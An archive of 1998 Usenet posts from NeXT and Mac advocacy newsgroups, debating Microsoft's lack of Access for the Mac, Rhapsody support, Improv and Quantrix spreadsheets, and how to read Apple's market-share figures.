From: Alan Baker <Alan_spamMeNot_Baker@ultranet.ca>
Organization: bakerMEDIA
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <3544E086.1C80@ultranet.ca> <jayfar-2804981054430001@chestnut1-55.slip.netaxs.com>
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Jayfar wrote:
>
> In article <3544E086.1C80@ultranet.ca>, Alan_spamMeNot_Baker@ultranet.ca wrote:
>
> | So exactly what real world are you talking about? The one where MS
> | manages to port every part of Office to the Mac _except_ Access, thus
> | freezing the Mac out of any company that wants to use an Access-based
> | product.
> |
> | Gee, I wonder why they'd want to do that?
>
> Conspiracy theorists might think Steve wanted it that way. Unless
> there've been huge improvements since FMP 3 (I haven't tried FMP 4),
> Access would bury Filemaker Pro, but fast.
>
I am afraid you missed the point.
MS Office came out while Steve was doing the NeXT thing and well before
he returned to Apple MS started developing Office using a high level
pseudo-code effort which could then be compiled for either Mac or
Windows (although it appears to have been much more effective at
producing Windows code; witness the Word 6 debacle).
So if MS had this pseudo code base to work from, what exactly was to
prevent them from producing Access for the Mac?
--
Alan Baker
bakerMEDIA
Alan_spamMEnot_baker@ultranet.ca
(just one underscore between the names please)
Message-ID: <3546D2C4.58C4@ultranet.ca>
Date: Wed, 29 Apr 1998 00:11:14 -0700
From: Alan Baker <Alan_spamMeNot_Baker@ultranet.ca>
Organization: bakerMEDIA
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <3544E086.1C80@ultranet.ca> <6i51a6$ao4$1@xmission.xmission.com>
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Kristofer Jon Magnusson wrote:
>
> In comp.sys.next.advocacy Alan Baker <Alan_spamMeNot_Baker@ultranet.ca> wrote:
>
> : > > People who want to run Lotus, Novell, and IBM products need Lotus,
> : > > Novell, and IBM to support their platform. These people inhabit something
>
> : If the previous poster means to imply that if you use a Mac that you
> : cannot connect to Novell Netware servers or that you cannot use Lotus
> : Notes I believe he/she is in error.
> I use the NetWare client for Macs every day.
>
> I know about the NetWare client for MacOS. I use it every day. That's not
> what I was referring to.
>
> The platform I was referring to is Rhapsody, not MacOS.
>
> Specifically, I was lamenting the dearth of third-party support for
> Rhapsody, not MacOS.
>
> ...............kris
> --
> Kristofer Jon Magnusson <kris@xmission.com>
>
> "NASA and its partners have identified vacuum
> as a major attribute of space."
Oops, silly me.
Serves me right for coming into a thread in the middle <g>
But with luck the Blue Box will take care of some of this.
Cheers
--
Alan Baker
bakerMEDIA
Alan_spamMEnot_baker@ultranet.ca
(just one underscore between the names please)
From: tvz@Princeton.EDU (Timothy Van Zandt)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: 29 Apr 1998 13:18:27 GMT
Organization: Princeton University
Message-ID: <6i79b3$864$1@cnn.Princeton.EDU>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net>
<6i5p7v$d3f$1@dropit.pgh.net>
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Cc: me@venetia.pgh.pa.us
In <6i5p7v$d3f$1@dropit.pgh.net> me@venetia.pgh.pa.us wrote:
> dwright@universal.dca.net (Darren Wright) wrote:
> >
> > Too bad Quantrix is not available on Windows hunh? Excel still
> sucks bad.
>
> There is Improv for Windows. Improv on NeXT was always better than
> Quantrix for what I needed to do.
I find Improv and Quantrix to have pretty similar capabilities and interface.
What are the advantages of Improv that you find? Just curious.
Tim vz.
From: tvz@Princeton.EDU (Timothy Van Zandt)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Does Nextstep work with Ultra DMA?
Date: 29 Apr 1998 13:22:46 GMT
Organization: Princeton University
Message-ID: <6i79j6$864$2@cnn.Princeton.EDU>
References: <6i0ubr$pq3$1@newsfep4.sprintmail.com>
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Cc: everblue@ucla.edu
In <6i0ubr$pq3$1@newsfep4.sprintmail.com> "Tony Chow" wrote:
> I'm planning on getting another motherboard with Ultra DMA controller
> built-in. Is this going to work with any version of NeXTSTEP/OpenSTEP?
I can't give an unqualified answer to this question. But a related piece
of info is that NextAnswers has a new EIDE driver that supports
busmastering (unlike the previous ones).
tim vz
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 29 Apr 1998 08:51:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i6pms$7t6$3@ns3.vrx.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34>
<joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com>
<joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com>
<MPG.fad7a7c96bc87a49896cb@news.unt.edu> <3544E086.1C80@ultranet.ca>
<jayfar-2804981054430001@chestnut1-55.slip.netaxs.com> <3546D280.2588@ultranet.ca>
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Cc: Alan_spamMeNot_Baker@ultranet.ca
In <3546D280.2588@ultranet.ca> Alan Baker claimed:
> So if MS had this pseudo code base to work from, what exactly was to
> prevent them from producing Access for the Mac?
Just because you have a lib doesn't mean you have ALL the libs you need.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 29 Apr 1998 14:55:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6i7f0v$b50@newsb.netnews.att.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <6i1taa$7rr$1@supernews.com> <6i23f2$bll$12@ironhorse.plsys.co.uk> <6i6lf1$45a$1@supernews.com>
Originator: gupta@tlctest
http://www.techweb.com/wire/story/apple/TWB19980202S0015
(Feb 2, 1998) has the statement :
"A spokeswoman for Adobe Systems, a major developer of software
for the Mac, said Rhapsody was originally pitched to Adobe as
a client OS, but Apple changed its tune over the course of the
last year. Because Adobe specializes in desktop applications,
the spokeswoman said, Rhapsody is no longer on its radar screen.
In addition, "Customers aren't asking for Rhapsody right now."
****
I haven't (yet) found a later story reaffirming Adobe support
for Rhapsody.
-arun gupta
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Followup-To: comp.sys.next.advocacy,comp.sys.next.software
Date: 29 Apr 1998 14:34:04 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6i7dos$ogv$1@bertrand.ccs.carleton.ca>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net>
me@venetia.pgh.pa.us wrote:
: There is Improv for Windows. Improv on NeXT was always better than
: Quantrix for what I needed to do. Improv for Windows is very similar
: with a few important weaknesses; eg, you can't do semi-log charts in
: less than multiples of full cycles. On the other hand, you have a
: lot more flexibiltiy for marking dates on charts of time series.
Some people I know who do complex modelling in Improv found the Windows
version to be deficient in several ways, but still quite good. It did
still follow the Improv data model, it just lacked functions and such.
Unfortunately, Lotus will not sell Improv anymore. The version 2.0 they
released is not in stock anymore, and they won't talk to you about it. You
may have some luck finding old stock in PC stores, but they're running
out, since it gets chucked into 'bargain bins' now.
--Chris
Chris Saldanha | Computers are useless.
Carleton University (Comp. Sci) | They can only give you answers.
csaldanh@mae.carleton.ca (NeXT/MIME) |
http://www.mae.carleton.ca/~csaldanh | -Pablo Picasso
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Wed, 29 Apr 1998 11:13:28 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <354751A8.257EE67@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <35469184.2000@nospam.ultranet.ca>
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Alan Baker wrote:
>
> Uhhuh. _Objectively_ their sales went from x million dollars to (4/3.4)x
> million dollars...
>
> ...or 18% growth in sales.
Actually, no. This is the point Jayfar was making: your "x million
dollars" measures sales revenue. Marketshare is not sales revenue. Go
back and hit your economics texts.
Objectively, Apple's sales went from 3.4/100*(x market volume) to
4/100*(y market volume). Since you have two totally independent
variables in there, the 18% figure is totally nonsensical. Check your
prob/stat texts.
> Cheers back at ya!
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 29 Apr 1998 09:03:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16C9D26-25EBF@206.165.43.25>
References: <3546D280.2588@ultranet.ca>
nntp://news.primenet.com/comp.sys.next.advocacy
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Alan Baker <Alan_spamMeNot_Baker@ultranet.ca> said:
> MS Office came out while Steve was doing the NeXT thing and well before
> he returned to Apple MS started developing Office using a high level
> pseudo-code effort which could then be compiled for either Mac or
> Windows (although it appears to have been much more effective at
> producing Windows code; witness the Word 6 debacle).
>
Two points:
the Microsoft compiler produces *native* code for Wintel and intermediate
code for Macs that is interpreted by a native "PCOD" interpreter on the
Mac..
the Word 6.0 issue wasn't so much interpreted vs native as it was native vs
68K emulated. The project lead for MS Word 6.0, on the
comp.sys.mac.programmer newsgroup, claimed that the original version of
Word 6 was 100% native and even *slower* than the released version.
Apparently [guessing here], there was some pathological way in which their
interpreter was interacting with the 68K emulator that was causing the
problem. This is a known issue with the PowerMacs and 100% native apps,
especially if they patch the OS (as MS always does) and happen to extend an
emulated OS trap with a native patch, thereby causing a double
context-switch (native->emulated->native) every time the OS call is evoked.
> So if MS had this pseudo code base to work from, what exactly was to
> prevent them from producing Access for the Mac?
A desire to cripple the MacOS platform?
Anyone that works in a mixed Mac-WIntel platform which has standardized on
MS Office, must use either a PC card or SoftWindows, if they wish to share
Access files across a network. [I don't even know if SoftWindows will
handle Access across a network]
This means that either the Mac user must spend and extra $500-$1000 for the
PC card that could be spent on enhancing his/her Mac, or they must be
content with 1/5 the speed on their Mac.
Either way, Gates wins another "Mac's can't handle and important office
task without emulating Windows" victory, which makes it harder for Mac
users to justify using Macs in the first place.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Wed, 29 Apr 1998 10:06:49 -0700
Organization: Trilithon Research and Trading
Message-ID: <35475E29.2E9D0FFC@trilithon.com>
References: <6i461i$bll$18@ironhorse.plsys.co.uk> <B16B7C3B-18975@206.165.43.14>
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Lawson English wrote:
* mmalcolm crawford <malcolm@plsys.co.uk> said:
* * So how come you never believe anything
* * Mike Paquette tells you?
* Because I'm not always sure that he and I are
* talking about the same thing.
Probably because Mike talks about stuff he knows about.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Message-ID: <edewEs6sHr.D9C@netcom.com>
Sender: edew@netcom17.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com> <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com>
Date: Wed, 29 Apr 1998 17:56:15 GMT
In article <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> rr6013@yahoo.com writes:
>In <edewEs351v.Ms2@netcom.com> Eric Dew wrote:
>> In article <6hr2p6$37i$1@pith.uoregon.edu> Wesley Horner
><wesman@azrael.uoregon.edu> writes:
>> Emulating GM is the stupidest thing any company can do. NT and its master,
>> Microsoft will soon make a big misstep (if not already). MS, in five years,
>> will be an internet-only company, if other software competitors (e.g.,
>Apple)
>> know how to take advantave of the situation. BTW, just how well is SONY's
>> visio or whatever doing in the computer business?
>>
>>
>
>Is that like What's good for GM is good for American circa 60's? YeAH... that
>was the stupidest thing any company has ever said, I think. If NT mis-steps?
>It'll make GM's stupid mistake pale. I'd like to think the market will move
>away from MS faster than MS can "innovate" :-).
>
>SONY's visio or whatever? Is that germain to the merger? I'd like to think
>that Apple brings that piece to the table. I'd say the stumbling block to any
>merger is getting Steve to commit to anything beyond "interim". Without SJ
>the deal is probably a DOA.
>
Considering all the recent BAD deals that Japanese companies have made
(Rockefeller Center, Columbia, etc.) and that Japan and other Asian countries
are not doing so well, I think Apple may be in a position to BUY SONY rather
than the other way around.
EDEW
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
From: edew@netcom.com (Eric Dew)
Subject: Re: Quantrix/Excel/Improv
Message-ID: <edewEs6sL9.DF4@netcom.com>
Sender: edew@netcom17.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU>
Date: Wed, 29 Apr 1998 17:58:21 GMT
In article <6i79b3$864$1@cnn.Princeton.EDU> tvz@Princeton.EDU (Timothy Van Zandt) writes:
>In <6i5p7v$d3f$1@dropit.pgh.net> me@venetia.pgh.pa.us wrote:
>> dwright@universal.dca.net (Darren Wright) wrote:
>> >
>> > Too bad Quantrix is not available on Windows hunh? Excel still
>> sucks bad.
>>
>> There is Improv for Windows. Improv on NeXT was always better than
>> Quantrix for what I needed to do.
>
>I find Improv and Quantrix to have pretty similar capabilities and interface.
>What are the advantages of Improv that you find? Just curious.
>
>Tim vz.
>
Quantrix is the Lighthouse version of Improv. I believe you can even
import/export from one to the other. Parasheet from Lighthouse is more like
Excel, and I believe you can import/export from one to the other, too.
EDEW
From: sherwood@vega.math.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: 29 Apr 1998 18:02:58 GMT
Organization: University of Alberta, Edmonton, Canada
Message-ID: <6i7q0i$jc0$4@pulp.ucs.ualberta.ca>
References: <6ho20l$8gj@tallowcross.uni-frankfurt.de> <6hoa4m$p96$1@xmission.xmission.com> <6ht1e6$343@tallowcross.uni-frankfurt.de> <6hu3bg$vj$1@xmission.xmission.com>
Kristofer Jon Magnusson (kris@xmission.xmission.com) wrote:
:
: : BTW: One thing that's absolutely missing from Frame 3.x is hierachical
: : paragraph formats. Is this still the way in 5.x?
:
: Yes. There is the "para tag after" construct, but that isn't what I
: think you mean by hierarchical para formats, such as "every 1Heading
: should be followed by a 1Body, and every 2Heading should be followed by a
: 2Body," and where if you change a 1Heading tag to a 2Heading tag, the
: 1Body changes to a 2Body. If you mean something else, then it still isn't
: in there. =)
:
: ............kris
I think what he means is how OpenWrite works:
If Heading1 is TimesRoman 18 point bold,
and Heading 2 can be defined as "Heading1, BUT 16 point, left margin
indent +.5""
So that later if you change Heading1 to Garamond 18 point semibold
then Heading2 is also Garamond semibold.
This really becomes significant when you have a raft of autonumber
formats. Currently with 3.2 I've got a document with a lot of pictures
in it, with either flush left (for caption to right of picture) flush left
(caption on left of picture) Top of cell, bottom of cell (Use one caption
box for two pictures) So I have 4 different formats. I'd love to be
able to change the font for 'caption' and have capTL captTB capBL and capBB
all change to match it.
--
Sherwood Botsford | email avatar@vega.math.ualberta.ca
Sorcerers Apprentice | Office CAB 642B
System Administrator | Tel: 403 492 5728
Trouble shooter | Fax: 403 492 6826
From: stone@enetis.net (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Wed, 29 Apr 1998 13:49:39 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R2904981349390001@news.enetis.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
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In article <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>,
jayfar@netaxs.com (Jayfar) wrote:
> In article <6i4sg4$mb9@mozo.cc.purdue.edu>, pomart@cartoon.ecn.purdue.edu
> (Your Name) wrote:
>
> | Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
> |
> | >http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
> |
> | >IDC sez Apple's US marketshare went from 3.4% in Q497, to
> | >4.0% in Q198.
> |
> | >Not much, but I'll take it...
> |
> | >- Jon
> |
> | NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
> | much to tell you the truth. At this rate Apple will be #1 in terms of
market
> | share in a year or two!
>
> Uh, more objectively it's a .6% (point six) increase. Percentage increase
> of a percentage figure is not a generally meaningful stat.
>
> Cheers,
> Jayfar
Any statsticion would disagree with you.
Percentage increace of data in indeed a very meaningfull statistic. It
tells you, without having to know what the data is, exactly how much was
gained over the previous data.
For example... When ever you talk about the speed of computers, you would
say something like, "Computer A is 25% faster than Computer B". This is a
percentage of increace comparison.
However, it should be pointed out, based on the numbers given above, that
Apple's share increace it's only 15%... not 18%.
(1 - (x0 / x1)) * 100 = increace_percentage
(1 - (3.4 / 4.0)) * 100 = 15%
And because of the low precison of the data, this calculation has a
possible range of error between -2.5% and +2.07%
--
Brian Stone stone@enetis.net
Stone Entertainment www.StoneEntertainment.com
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Wed, 29 Apr 1998 15:30:49 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35478DF9.21CC@CONVEX.COM>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net>
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Kevin Stone wrote:
> Any statsticion would disagree with you.
I doubt it. I'm not a statistician, but I don't think you've correctly
read the problem.
> Percentage increace of data in indeed a very meaningfull statistic. It
> tells you, without having to know what the data is, exactly how much was
> gained over the previous data.
The problem is not with percentage increase, but with percentages
measured in percentages. Such differential measurements, especially when
based on a fluctuating population, are totally meaningless.
> For example... When ever you talk about the speed of computers, you would
> say something like, "Computer A is 25% faster than Computer B". This is a
> percentage of increace comparison.
The problem in question is not analogous to your example. The problem in
question would involve something like this:
Computer A is 25% faster than market-leading Computer B in 1997.
Computer C is 30% faster than market-leading Computer D in 1998.
The maker of computers A and C is increasing speed by 20% from 1997 to
1998.
The absurdity of the above problem should be evident.
MJP
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 29 Apr 1998 20:35:41 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6kf3os.3c5.mbkennel@lyapunov.ucsd.edu>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au> <slrn6k4t6v.5e0.mbkennel@lyapunov.ucsd.edu> <3543eebe.0@news.camtech.net.au> <B1697D67-1951D@206.165.43.144> <6i1ppg$bll$8@ironhorse.plsys.co.uk> <B16A0007-10066@206.165.43.105> <6i2e15$bll$17@ironhorse.plsys.co.uk> <B16A6E9E-90363@206.165.43.16> <6i461i$bll$18@ironhorse.plsys.co.uk> <B16B7C3B-18975@206.165.43.14> <1d87ua9.1hw5wjn1ui9hdiN@carina24.wco.com>
On Tue, 28 Apr 1998 22:25:21 -0700, Mike Paquette <mpaque@wco.com> wrote:
:Lawson English <english@primenet.com> wrote:
:> mmalcolm crawford <malcolm@plsys.co.uk> said:
:> > So how come you never believe anything Mike Paquette tells you?
:>
:> Because I'm not always sure that he and I are talking about the same thing.
:
:Imagine my suprise...
Of course.
One is in that very big room with the blue ceiling and the bright yellow
light, the other, where people go after Garth and Wayne do that
"doodleidooodleidoodlieldooldlie" stuff.
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Wed, 29 Apr 98 20:57:56 GMT
Message-ID: <6i84cq$all$1@nntp2.ba.best.com>
References: <3546D280.2588@ultranet.ca> <B16C9D26-25EBF@206.165.43.25>
In article <B16C9D26-25EBF@206.165.43.25>, "Lawson English" <english@primenet.com> wrote:
>Anyone that works in a mixed Mac-WIntel platform which has standardized on
>MS Office, must use either a PC card or SoftWindows, if they wish to share
>Access files across a network. [I don't even know if SoftWindows will
>handle Access across a network]
>
>This means that either the Mac user must spend and extra $500-$1000 for the
>PC card that could be spent on enhancing his/her Mac, or they must be
>content with 1/5 the speed on their Mac.
>
>Either way, Gates wins another "Mac's can't handle and important office
>task without emulating Windows" victory, which makes it harder for Mac
>users to justify using Macs in the first place.
>
No, all they need to do is create a web front end interface to Access. This
can be done now with Active ServerPages/ASP and IIS.
So mac users can have access to the same database created by Access.
thats the beauty of ODBC... FileMaker should have it
-
porschemeister
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Wed, 29 Apr 1998 14:23:02 -0700
Organization: Trilithon Research and Trading
Message-ID: <35479A36.AD3AAC09@trilithon.com>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com> <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Eric Dew wrote:
* Considering all the recent BAD deals that Japanese
* companies have made (Rockefeller Center, Columbia,
* etc.) and that Japan and other Asian countries
* are not doing so well, I think Apple may be in a
* position to BUY SONY rather than the other way around.
Sony's market cap is $34 billion. Apple's is $3.7 billion.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: John Zollinger <john.zollinger@arkona.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Dark Forest
Date: Wed, 29 Apr 1998 16:03:15 -0600
Organization: Arkona, Inc.
Message-ID: <3547A3A3.4BA553E@arkona.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Does anyone know if that most excellent utility DarkForest has been
ported to OPENSTEP? I miss it greatly now that I am stuck in NT (course
I miss many other things as well <sigh>).
If it hasn't been ported yet, is the source available somewhere? I
wouldn't mind spending some time working on it.
Thanks!
John Zollinger
Arkona, Inc.
john.zollinger@arkona.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.next.software
Subject: Mesa 3b2a + demo behaviour
Date: 29 Apr 1998 22:02:17 GMT
Organization: P & L Systems
Message-ID: <6i8819$bll$22@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Following the release of Mesa3b2 we found an unfortunate side-effect of the
way we'd implemented the "huge sheets" capability -- whilst a worksheet could
theoretically be up to 1,000,000,000 x 1,000,000,000 cells, in practice
(apart from h/w and OS limitations :-) if you got much above 500x500 the app
slowed to a crawl and became unusable. We've put a lot of effort into
remedying that, and made a number of other small enhancements (including a
limited feature Easter egg for anyone who cares to look). There's an interim
beta release, 3b2a, on our WWW/FTP site which people are encouraged to use in
place of 3b2. cf http://www.plsys.co.uk/plsys/ for download information.
Many thanks to those of you who have sent in suggestions for how you would
like demos to be provided -- the overwhelming majority has asked for a
time-bombed demo in place of the limited-size worksheet we had originally
planned. I'll see what we can do to provide this when CR1 ships.
Best wishes,
mmalc.
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 29 Apr 1998 23:36:20 GMT
Organization: Idiom Communications
Message-ID: <6i8dhk$h1p$1@news.idiom.com>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com>
<6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com>
<35479A36.AD3AAC09@trilithon.com>
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Cc: henry@trilithon.com
Henry McGilton may or may not have said:
-> Eric Dew wrote:
-> * Considering all the recent BAD deals that Japanese
-> * companies have made (Rockefeller Center, Columbia,
-> * etc.) and that Japan and other Asian countries
-> * are not doing so well, I think Apple may be in a
-> * position to BUY SONY rather than the other way around.
-> Sony's market cap is $34 billion. Apple's is $3.7 billion.
NeXT took over Apple, didn't they? ;-)
-jcr
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 30 Apr 1998 00:22:05 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd73ce$08f9d590$04387880@test1>
References: <6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com> <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com> <edewEs6sHr.D9C@netcom.com> <35479A36.AD3AAC09@trilithon.com>
Henry McGilton <henry@trilithon.com> wrote
> Eric Dew wrote:
> * Considering all the recent BAD deals that Japanese
> * companies have made (Rockefeller Center, Columbia,
> * etc.) and that Japan and other Asian countries
> * are not doing so well, I think Apple may be in a
> * position to BUY SONY rather than the other way around.
> Sony's market cap is $34 billion. Apple's is $3.7 billion.
Also, Apple, like it or not, is still seen as an also-ran - a loser to
Microsoft's Windows operating systems. While the press has been
printing positive stories about Apple, Apple still has a long way to go
in the eyes of people who don't own Macs.
I believe for Apple to grow (as well as survive), Apple must sell new
products, into new markets, and attract new customers. I believe Sony
could really help Apple do this.
Selling upgrades to existing owners, especially since the existing
owner base is slowly eroding, will only prolong death.
I predict this will be a very interesting year for Apple... Waiting
for news from WWDC...
Todd
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: Wed, 29 Apr 1998 19:59:13 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2904981959130001@vixen.cso.uiuc.edu>
References: <tim-2604982244220001@jump-k56flex-1061.jumpnet.com> <B16C29C1-13C12@206.165.43.98>
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In article <B16C29C1-13C12@206.165.43.98>, "Lawson English"
<english@primenet.com> wrote:
> Tim Olson <tim@jumpnet.com> said:
>
> > In article <gierkeNOSPAM-2604981915400001@pm1-32.ile.infi.net>,
> > gierkeNOSPAM@delaware.infi.net (Patrick William Gierke) wrote:
<snip>
> > Quickdraw has been PowerPC native since the first PowerMacs shipped; it
> > was the prime "low hanging fruit" to pick when choosing which routines to
> > first code in PowerPC.
>
> Yep. OTOH, it is possible that the CPU-neutral C code that was used for the
> latest builds of QuickDraw wasn't as fast as it could be.
>
> The 10% speedup claim sounds about right. I gotta wonder why they bothered
> for only 10% though. There must be more going on then just a simple
> rewrite. You don't do that for 10%. And support for anti-aliased text
> wouldn't require a complete rewrite either, as far as I can tell.
MacOSRumors mentioned that it had something to do with getting the Yellow
Box to work on the Mac OS. If that is true, then might some of QuickDraw
have been made to be reentrant? Would that even be feasible?
What other significant reason might there have been to rewrite QuickDraw as
far as the Yellow Box goes?
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Followup-To: comp.sys.next.advocacy,comp.sys.next.software
Date: 30 Apr 1998 01:30:49 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6i8k89$4jv$1@bertrand.ccs.carleton.ca>
References: <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU> <edewEs6sL9.DF4@netcom.com>
Eric Dew (edew@netcom.com) wrote:
: Quantrix is the Lighthouse version of Improv. I believe you can even
: import/export from one to the other.
You can go from Improv to Quantrix, but you must use the Improv
interchange format (.imx) to do it. Quantrix won't read normal .imp files.
--Chris
Chris Saldanha | Computers are useless.
Carleton University (Comp. Sci) | They can only give you answers.
csaldanh@mae.carleton.ca (NeXT/MIME) |
http://www.mae.carleton.ca/~csaldanh | -Pablo Picasso
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 30 Apr 1998 03:07:44 GMT
